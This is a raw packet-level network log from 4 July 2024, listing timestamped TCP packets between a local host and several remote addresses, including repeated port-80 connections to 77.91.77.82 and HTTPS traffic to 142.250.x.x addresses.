Jul 4, 2024 20:34:35.936187029 CEST	49761	443	192.168.2.4	142.250.186.164
Jul 4, 2024 20:34:35.937829971 CEST	49761	443	192.168.2.4	142.250.186.164
Jul 4, 2024 20:34:35.937894106 CEST	443	49761	142.250.186.164	192.168.2.4
Jul 4, 2024 20:34:35.985080004 CEST	49761	443	192.168.2.4	142.250.186.164
Jul 4, 2024 20:34:35.985088110 CEST	443	49761	142.250.186.164	192.168.2.4
Jul 4, 2024 20:34:36.031974077 CEST	49761	443	192.168.2.4	142.250.186.164
Jul 4, 2024 20:34:36.456151009 CEST	80	49763	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:36.456249952 CEST	49763	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:36.457001925 CEST	49763	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:36.461776972 CEST	80	49763	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:36.679980993 CEST	80	49763	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:36.680048943 CEST	49763	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:36.782942057 CEST	49763	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:36.783282995 CEST	49768	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:36.788248062 CEST	80	49763	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:36.788261890 CEST	80	49768	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:36.788315058 CEST	49763	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:36.788341999 CEST	49768	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:36.788471937 CEST	49768	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:36.793215990 CEST	80	49768	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:37.514996052 CEST	80	49768	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:37.515050888 CEST	49768	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:37.515922070 CEST	49768	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:37.520781994 CEST	80	49768	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:37.743818045 CEST	80	49768	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:37.743876934 CEST	49768	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:37.866826057 CEST	49768	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:37.867362976 CEST	49769	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:37.872853041 CEST	80	49769	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:37.872912884 CEST	49769	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:37.873122931 CEST	80	49768	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:37.873167038 CEST	49768	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:37.873209000 CEST	49769	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:37.878899097 CEST	80	49769	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:38.601939917 CEST	80	49769	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:38.602009058 CEST	49769	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:38.602725029 CEST	49769	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:38.607703924 CEST	80	49769	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:38.825891018 CEST	80	49769	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:38.825951099 CEST	49769	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:38.942086935 CEST	49769	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:38.942430019 CEST	49776	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:38.947313070 CEST	80	49769	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:38.947380066 CEST	49769	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:38.948302031 CEST	80	49776	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:38.948362112 CEST	49776	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:38.948489904 CEST	49776	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:38.953202009 CEST	80	49776	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:39.102518082 CEST	49777	443	192.168.2.4	142.250.185.78
Jul 4, 2024 20:34:39.102549076 CEST	443	49777	142.250.185.78	192.168.2.4
Jul 4, 2024 20:34:39.102610111 CEST	49777	443	192.168.2.4	142.250.185.78
Jul 4, 2024 20:34:39.102818966 CEST	49777	443	192.168.2.4	142.250.185.78
Jul 4, 2024 20:34:39.102833033 CEST	443	49777	142.250.185.78	192.168.2.4
Jul 4, 2024 20:34:39.670068979 CEST	80	49776	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:39.670150995 CEST	49776	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:39.670912981 CEST	49776	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:39.675699949 CEST	80	49776	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:39.870450020 CEST	443	49777	142.250.185.78	192.168.2.4
Jul 4, 2024 20:34:39.870707035 CEST	49777	443	192.168.2.4	142.250.185.78
Jul 4, 2024 20:34:39.870723963 CEST	443	49777	142.250.185.78	192.168.2.4
Jul 4, 2024 20:34:39.871062994 CEST	443	49777	142.250.185.78	192.168.2.4
Jul 4, 2024 20:34:39.871121883 CEST	49777	443	192.168.2.4	142.250.185.78
Jul 4, 2024 20:34:39.871664047 CEST	443	49777	142.250.185.78	192.168.2.4
Jul 4, 2024 20:34:39.871715069 CEST	49777	443	192.168.2.4	142.250.185.78
Jul 4, 2024 20:34:39.872739077 CEST	49777	443	192.168.2.4	142.250.185.78
Jul 4, 2024 20:34:39.872796059 CEST	443	49777	142.250.185.78	192.168.2.4
Jul 4, 2024 20:34:39.872992039 CEST	49777	443	192.168.2.4	142.250.185.78
Jul 4, 2024 20:34:39.872997999 CEST	443	49777	142.250.185.78	192.168.2.4
Jul 4, 2024 20:34:39.893400908 CEST	80	49776	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:39.893454075 CEST	49776	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:39.923044920 CEST	49777	443	192.168.2.4	142.250.185.78
Jul 4, 2024 20:34:40.008847952 CEST	49776	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:40.012136936 CEST	49780	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:40.020939112 CEST	80	49780	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:40.021024942 CEST	49780	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:40.022517920 CEST	49780	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:40.025047064 CEST	80	49776	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:40.025106907 CEST	49776	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:40.028305054 CEST	80	49780	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:40.182713985 CEST	49783	443	192.168.2.4	142.250.185.206
Jul 4, 2024 20:34:40.182734966 CEST	443	49783	142.250.185.206	192.168.2.4
Jul 4, 2024 20:34:40.182802916 CEST	49783	443	192.168.2.4	142.250.185.206
Jul 4, 2024 20:34:40.182960987 CEST	49783	443	192.168.2.4	142.250.185.206
Jul 4, 2024 20:34:40.182972908 CEST	443	49783	142.250.185.206	192.168.2.4
Jul 4, 2024 20:34:40.240312099 CEST	49784	443	192.168.2.4	142.250.185.206
Jul 4, 2024 20:34:40.240328074 CEST	443	49784	142.250.185.206	192.168.2.4
Jul 4, 2024 20:34:40.240396023 CEST	49784	443	192.168.2.4	142.250.185.206
Jul 4, 2024 20:34:40.240637064 CEST	49784	443	192.168.2.4	142.250.185.206
Jul 4, 2024 20:34:40.240648985 CEST	443	49784	142.250.185.206	192.168.2.4
Jul 4, 2024 20:34:40.348012924 CEST	443	49777	142.250.185.78	192.168.2.4
Jul 4, 2024 20:34:40.348226070 CEST	443	49777	142.250.185.78	192.168.2.4
Jul 4, 2024 20:34:40.348257065 CEST	443	49777	142.250.185.78	192.168.2.4
Jul 4, 2024 20:34:40.348329067 CEST	49777	443	192.168.2.4	142.250.185.78
Jul 4, 2024 20:34:40.348345995 CEST	443	49777	142.250.185.78	192.168.2.4
Jul 4, 2024 20:34:40.348366976 CEST	49777	443	192.168.2.4	142.250.185.78
Jul 4, 2024 20:34:40.353719950 CEST	443	49777	142.250.185.78	192.168.2.4
Jul 4, 2024 20:34:40.353787899 CEST	49777	443	192.168.2.4	142.250.185.78
Jul 4, 2024 20:34:40.353794098 CEST	443	49777	142.250.185.78	192.168.2.4
Jul 4, 2024 20:34:40.359829903 CEST	443	49777	142.250.185.78	192.168.2.4
Jul 4, 2024 20:34:40.359868050 CEST	443	49777	142.250.185.78	192.168.2.4
Jul 4, 2024 20:34:40.359895945 CEST	49777	443	192.168.2.4	142.250.185.78
Jul 4, 2024 20:34:40.359903097 CEST	443	49777	142.250.185.78	192.168.2.4
Jul 4, 2024 20:34:40.359954119 CEST	49777	443	192.168.2.4	142.250.185.78
Jul 4, 2024 20:34:40.366266012 CEST	443	49777	142.250.185.78	192.168.2.4
Jul 4, 2024 20:34:40.366337061 CEST	49777	443	192.168.2.4	142.250.185.78
Jul 4, 2024 20:34:40.372205019 CEST	443	49777	142.250.185.78	192.168.2.4
Jul 4, 2024 20:34:40.372268915 CEST	49777	443	192.168.2.4	142.250.185.78
Jul 4, 2024 20:34:40.372374058 CEST	443	49777	142.250.185.78	192.168.2.4
Jul 4, 2024 20:34:40.372425079 CEST	49777	443	192.168.2.4	142.250.185.78
Jul 4, 2024 20:34:40.443557978 CEST	443	49777	142.250.185.78	192.168.2.4
Jul 4, 2024 20:34:40.443624020 CEST	49777	443	192.168.2.4	142.250.185.78
Jul 4, 2024 20:34:40.443705082 CEST	443	49777	142.250.185.78	192.168.2.4
Jul 4, 2024 20:34:40.443743944 CEST	49777	443	192.168.2.4	142.250.185.78
Jul 4, 2024 20:34:40.443892956 CEST	443	49777	142.250.185.78	192.168.2.4
Jul 4, 2024 20:34:40.443926096 CEST	443	49777	142.250.185.78	192.168.2.4
Jul 4, 2024 20:34:40.443933964 CEST	49777	443	192.168.2.4	142.250.185.78
Jul 4, 2024 20:34:40.443943024 CEST	443	49777	142.250.185.78	192.168.2.4
Jul 4, 2024 20:34:40.443979979 CEST	49777	443	192.168.2.4	142.250.185.78
Jul 4, 2024 20:34:40.444097996 CEST	443	49777	142.250.185.78	192.168.2.4
Jul 4, 2024 20:34:40.444137096 CEST	49777	443	192.168.2.4	142.250.185.78
Jul 4, 2024 20:34:40.449800014 CEST	443	49777	142.250.185.78	192.168.2.4
Jul 4, 2024 20:34:40.449848890 CEST	49777	443	192.168.2.4	142.250.185.78
Jul 4, 2024 20:34:40.455379009 CEST	443	49777	142.250.185.78	192.168.2.4
Jul 4, 2024 20:34:40.455451012 CEST	49777	443	192.168.2.4	142.250.185.78
Jul 4, 2024 20:34:40.455460072 CEST	443	49777	142.250.185.78	192.168.2.4
Jul 4, 2024 20:34:40.461479902 CEST	443	49777	142.250.185.78	192.168.2.4
Jul 4, 2024 20:34:40.461532116 CEST	49777	443	192.168.2.4	142.250.185.78
Jul 4, 2024 20:34:40.461541891 CEST	443	49777	142.250.185.78	192.168.2.4
Jul 4, 2024 20:34:40.467704058 CEST	443	49777	142.250.185.78	192.168.2.4
Jul 4, 2024 20:34:40.467751026 CEST	49777	443	192.168.2.4	142.250.185.78
Jul 4, 2024 20:34:40.467760086 CEST	443	49777	142.250.185.78	192.168.2.4
Jul 4, 2024 20:34:40.467880964 CEST	443	49777	142.250.185.78	192.168.2.4
Jul 4, 2024 20:34:40.467885971 CEST	49777	443	192.168.2.4	142.250.185.78
Jul 4, 2024 20:34:40.467894077 CEST	443	49777	142.250.185.78	192.168.2.4
Jul 4, 2024 20:34:40.467930079 CEST	49777	443	192.168.2.4	142.250.185.78
Jul 4, 2024 20:34:40.467943907 CEST	49777	443	192.168.2.4	142.250.185.78
Jul 4, 2024 20:34:40.742486954 CEST	80	49780	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:40.742563009 CEST	49780	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:40.743392944 CEST	49780	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:40.748157024 CEST	80	49780	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:40.830146074 CEST	443	49783	142.250.185.206	192.168.2.4
Jul 4, 2024 20:34:40.830439091 CEST	49783	443	192.168.2.4	142.250.185.206
Jul 4, 2024 20:34:40.830451965 CEST	443	49783	142.250.185.206	192.168.2.4
Jul 4, 2024 20:34:40.830759048 CEST	443	49783	142.250.185.206	192.168.2.4
Jul 4, 2024 20:34:40.830827951 CEST	49783	443	192.168.2.4	142.250.185.206
Jul 4, 2024 20:34:40.831366062 CEST	443	49783	142.250.185.206	192.168.2.4
Jul 4, 2024 20:34:40.831420898 CEST	49783	443	192.168.2.4	142.250.185.206
Jul 4, 2024 20:34:40.832434893 CEST	49783	443	192.168.2.4	142.250.185.206
Jul 4, 2024 20:34:40.832501888 CEST	443	49783	142.250.185.206	192.168.2.4
Jul 4, 2024 20:34:40.832711935 CEST	49783	443	192.168.2.4	142.250.185.206
Jul 4, 2024 20:34:40.832719088 CEST	443	49783	142.250.185.206	192.168.2.4
Jul 4, 2024 20:34:40.877885103 CEST	49783	443	192.168.2.4	142.250.185.206
Jul 4, 2024 20:34:40.893789053 CEST	443	49784	142.250.185.206	192.168.2.4
Jul 4, 2024 20:34:40.894011974 CEST	49784	443	192.168.2.4	142.250.185.206
Jul 4, 2024 20:34:40.894022942 CEST	443	49784	142.250.185.206	192.168.2.4
Jul 4, 2024 20:34:40.895235062 CEST	443	49784	142.250.185.206	192.168.2.4
Jul 4, 2024 20:34:40.895354033 CEST	49784	443	192.168.2.4	142.250.185.206
Jul 4, 2024 20:34:40.897761106 CEST	443	49784	142.250.185.206	192.168.2.4
Jul 4, 2024 20:34:40.897808075 CEST	49784	443	192.168.2.4	142.250.185.206
Jul 4, 2024 20:34:40.897969007 CEST	49784	443	192.168.2.4	142.250.185.206
Jul 4, 2024 20:34:40.898047924 CEST	443	49784	142.250.185.206	192.168.2.4
Jul 4, 2024 20:34:40.898186922 CEST	49784	443	192.168.2.4	142.250.185.206
Jul 4, 2024 20:34:40.898195028 CEST	443	49784	142.250.185.206	192.168.2.4
Jul 4, 2024 20:34:40.940041065 CEST	49784	443	192.168.2.4	142.250.185.206
Jul 4, 2024 20:34:40.969643116 CEST	80	49780	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:40.969700098 CEST	49780	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:41.093385935 CEST	49780	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:41.093693972 CEST	49787	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:41.098579884 CEST	80	49787	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:41.098650932 CEST	49787	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:41.098839045 CEST	80	49780	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:41.098903894 CEST	49787	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:41.099411964 CEST	49780	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:41.103879929 CEST	80	49787	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:41.113966942 CEST	443	49783	142.250.185.206	192.168.2.4
Jul 4, 2024 20:34:41.114027977 CEST	443	49783	142.250.185.206	192.168.2.4
Jul 4, 2024 20:34:41.114078999 CEST	49783	443	192.168.2.4	142.250.185.206
Jul 4, 2024 20:34:41.116853952 CEST	49783	443	192.168.2.4	142.250.185.206
Jul 4, 2024 20:34:41.116867065 CEST	443	49783	142.250.185.206	192.168.2.4
Jul 4, 2024 20:34:41.118613958 CEST	49788	443	192.168.2.4	142.250.185.206
Jul 4, 2024 20:34:41.118683100 CEST	443	49788	142.250.185.206	192.168.2.4
Jul 4, 2024 20:34:41.118743896 CEST	49788	443	192.168.2.4	142.250.185.206
Jul 4, 2024 20:34:41.119317055 CEST	49788	443	192.168.2.4	142.250.185.206
Jul 4, 2024 20:34:41.119338036 CEST	443	49788	142.250.185.206	192.168.2.4
Jul 4, 2024 20:34:41.348287106 CEST	443	49784	142.250.185.206	192.168.2.4
Jul 4, 2024 20:34:41.348476887 CEST	443	49784	142.250.185.206	192.168.2.4
Jul 4, 2024 20:34:41.348552942 CEST	49784	443	192.168.2.4	142.250.185.206
Jul 4, 2024 20:34:41.348912001 CEST	49784	443	192.168.2.4	142.250.185.206
Jul 4, 2024 20:34:41.348922968 CEST	443	49784	142.250.185.206	192.168.2.4
Jul 4, 2024 20:34:41.348939896 CEST	49784	443	192.168.2.4	142.250.185.206
Jul 4, 2024 20:34:41.348968029 CEST	49784	443	192.168.2.4	142.250.185.206
Jul 4, 2024 20:34:41.349880934 CEST	49790	443	192.168.2.4	142.250.185.206
Jul 4, 2024 20:34:41.349896908 CEST	443	49790	142.250.185.206	192.168.2.4
Jul 4, 2024 20:34:41.349958897 CEST	49790	443	192.168.2.4	142.250.185.206
Jul 4, 2024 20:34:41.350255966 CEST	49790	443	192.168.2.4	142.250.185.206
Jul 4, 2024 20:34:41.350270033 CEST	443	49790	142.250.185.206	192.168.2.4
Jul 4, 2024 20:34:41.826204062 CEST	80	49787	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:41.826847076 CEST	49787	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:41.827625036 CEST	49787	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:41.832457066 CEST	80	49787	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:41.859447956 CEST	443	49788	142.250.185.206	192.168.2.4
Jul 4, 2024 20:34:41.859751940 CEST	49788	443	192.168.2.4	142.250.185.206
Jul 4, 2024 20:34:41.859786987 CEST	443	49788	142.250.185.206	192.168.2.4
Jul 4, 2024 20:34:41.860142946 CEST	443	49788	142.250.185.206	192.168.2.4
Jul 4, 2024 20:34:41.860217094 CEST	49788	443	192.168.2.4	142.250.185.206
Jul 4, 2024 20:34:41.860841036 CEST	443	49788	142.250.185.206	192.168.2.4
Jul 4, 2024 20:34:41.860920906 CEST	49788	443	192.168.2.4	142.250.185.206
Jul 4, 2024 20:34:41.861160040 CEST	49788	443	192.168.2.4	142.250.185.206
Jul 4, 2024 20:34:41.861219883 CEST	443	49788	142.250.185.206	192.168.2.4
Jul 4, 2024 20:34:41.861349106 CEST	49788	443	192.168.2.4	142.250.185.206
Jul 4, 2024 20:34:41.861370087 CEST	49788	443	192.168.2.4	142.250.185.206
Jul 4, 2024 20:34:41.861378908 CEST	443	49788	142.250.185.206	192.168.2.4
Jul 4, 2024 20:34:41.907588959 CEST	49788	443	192.168.2.4	142.250.185.206
Jul 4, 2024 20:34:41.988590002 CEST	49761	443	192.168.2.4	142.250.186.164
Jul 4, 2024 20:34:42.000323057 CEST	443	49790	142.250.185.206	192.168.2.4
Jul 4, 2024 20:34:42.000499964 CEST	49790	443	192.168.2.4	142.250.185.206
Jul 4, 2024 20:34:42.000515938 CEST	443	49790	142.250.185.206	192.168.2.4
Jul 4, 2024 20:34:42.001724005 CEST	443	49790	142.250.185.206	192.168.2.4
Jul 4, 2024 20:34:42.001782894 CEST	49790	443	192.168.2.4	142.250.185.206
Jul 4, 2024 20:34:42.004193068 CEST	443	49790	142.250.185.206	192.168.2.4
Jul 4, 2024 20:34:42.004247904 CEST	49790	443	192.168.2.4	142.250.185.206
Jul 4, 2024 20:34:42.004360914 CEST	49790	443	192.168.2.4	142.250.185.206
Jul 4, 2024 20:34:42.004463911 CEST	49790	443	192.168.2.4	142.250.185.206
Jul 4, 2024 20:34:42.004471064 CEST	443	49790	142.250.185.206	192.168.2.4
Jul 4, 2024 20:34:42.004478931 CEST	49790	443	192.168.2.4	142.250.185.206
Jul 4, 2024 20:34:42.004662991 CEST	443	49790	142.250.185.206	192.168.2.4
Jul 4, 2024 20:34:42.036499023 CEST	443	49761	142.250.186.164	192.168.2.4
Jul 4, 2024 20:34:42.048266888 CEST	49790	443	192.168.2.4	142.250.185.206
Jul 4, 2024 20:34:42.048276901 CEST	443	49790	142.250.185.206	192.168.2.4
Jul 4, 2024 20:34:42.054481030 CEST	443	49788	142.250.185.206	192.168.2.4
Jul 4, 2024 20:34:42.054591894 CEST	443	49788	142.250.185.206	192.168.2.4
Jul 4, 2024 20:34:42.054641962 CEST	49788	443	192.168.2.4	142.250.185.206
Jul 4, 2024 20:34:42.055176020 CEST	49788	443	192.168.2.4	142.250.185.206
Jul 4, 2024 20:34:42.055195093 CEST	443	49788	142.250.185.206	192.168.2.4
Jul 4, 2024 20:34:42.057667017 CEST	80	49787	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:42.057743073 CEST	49787	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:42.095104933 CEST	49790	443	192.168.2.4	142.250.185.206
Jul 4, 2024 20:34:42.176748037 CEST	49787	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:42.177076101 CEST	49791	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:42.184350014 CEST	80	49787	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:42.184511900 CEST	80	49791	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:42.184585094 CEST	49787	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:42.184632063 CEST	49791	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:42.185750961 CEST	49791	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:42.192943096 CEST	80	49791	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:42.204651117 CEST	443	49790	142.250.185.206	192.168.2.4
Jul 4, 2024 20:34:42.204957008 CEST	443	49790	142.250.185.206	192.168.2.4
Jul 4, 2024 20:34:42.205041885 CEST	49790	443	192.168.2.4	142.250.185.206
Jul 4, 2024 20:34:42.213970900 CEST	49790	443	192.168.2.4	142.250.185.206
Jul 4, 2024 20:34:42.213982105 CEST	443	49790	142.250.185.206	192.168.2.4
Jul 4, 2024 20:34:42.266283035 CEST	443	49761	142.250.186.164	192.168.2.4
Jul 4, 2024 20:34:42.266331911 CEST	443	49761	142.250.186.164	192.168.2.4
Jul 4, 2024 20:34:42.266426086 CEST	443	49761	142.250.186.164	192.168.2.4
Jul 4, 2024 20:34:42.266443968 CEST	49761	443	192.168.2.4	142.250.186.164
Jul 4, 2024 20:34:42.266453028 CEST	443	49761	142.250.186.164	192.168.2.4
Jul 4, 2024 20:34:42.266473055 CEST	443	49761	142.250.186.164	192.168.2.4
Jul 4, 2024 20:34:42.266494036 CEST	49761	443	192.168.2.4	142.250.186.164
Jul 4, 2024 20:34:42.266501904 CEST	443	49761	142.250.186.164	192.168.2.4
Jul 4, 2024 20:34:42.266712904 CEST	49761	443	192.168.2.4	142.250.186.164
Jul 4, 2024 20:34:42.267508984 CEST	443	49761	142.250.186.164	192.168.2.4
Jul 4, 2024 20:34:42.267551899 CEST	443	49761	142.250.186.164	192.168.2.4
Jul 4, 2024 20:34:42.270728111 CEST	49761	443	192.168.2.4	142.250.186.164
Jul 4, 2024 20:34:42.292987108 CEST	49761	443	192.168.2.4	142.250.186.164
Jul 4, 2024 20:34:42.292999983 CEST	443	49761	142.250.186.164	192.168.2.4
Jul 4, 2024 20:34:42.911802053 CEST	80	49791	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:42.911858082 CEST	49791	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:42.912549973 CEST	49791	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:42.917495012 CEST	80	49791	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:43.139830112 CEST	80	49791	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:43.139903069 CEST	49791	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:43.252691984 CEST	49791	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:43.253114939 CEST	49793	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:43.258445024 CEST	80	49791	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:43.258457899 CEST	80	49793	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:43.258517981 CEST	49791	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:43.258557081 CEST	49793	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:43.258701086 CEST	49793	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:43.264523983 CEST	80	49793	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:43.956547976 CEST	80	49793	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:43.956612110 CEST	49793	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:43.957506895 CEST	49793	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:43.962274075 CEST	80	49793	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:44.175415039 CEST	80	49793	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:44.175477982 CEST	49793	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:44.284121037 CEST	49793	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:44.284610033 CEST	49796	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:44.289272070 CEST	80	49793	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:44.289340019 CEST	49793	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:44.289602995 CEST	80	49796	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:44.289664030 CEST	49796	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:44.289830923 CEST	49796	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:44.294687986 CEST	80	49796	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:44.999041080 CEST	80	49796	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:44.999133110 CEST	49796	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:44.999809027 CEST	49796	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:45.004554033 CEST	80	49796	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:45.219988108 CEST	80	49796	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:45.220082045 CEST	49796	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:45.342206955 CEST	49796	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:45.342538118 CEST	49798	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:45.347274065 CEST	80	49796	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:45.347407103 CEST	49796	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:45.347556114 CEST	80	49798	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:45.347620964 CEST	49798	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:45.347774982 CEST	49798	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:45.352488041 CEST	80	49798	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:46.054681063 CEST	80	49798	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:46.054764986 CEST	49798	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:46.055742025 CEST	49798	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:46.060523033 CEST	80	49798	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:46.285732985 CEST	80	49798	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:46.285923004 CEST	49798	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:46.392061949 CEST	49798	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:46.392472029 CEST	49800	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:46.397517920 CEST	80	49798	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:46.397531033 CEST	80	49800	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:46.397587061 CEST	49798	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:46.397625923 CEST	49800	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:46.397739887 CEST	49800	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:46.402510881 CEST	80	49800	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:47.114270926 CEST	80	49800	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:47.114768028 CEST	49800	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:47.116717100 CEST	49800	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:47.121501923 CEST	80	49800	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:47.342998981 CEST	80	49800	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:47.343060017 CEST	49800	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:47.455976009 CEST	49800	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:47.456382036 CEST	49802	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:47.461191893 CEST	80	49800	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:47.461390018 CEST	80	49802	77.91.77.82	192.168.2.4
Jul 4, 2024 20:34:47.461452961 CEST	49800	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:47.461494923 CEST	49802	80	192.168.2.4	77.91.77.82
Jul 4, 2024 20:34:47.461596966 CEST	49802	80	192.168.2.4	77.91.77.82
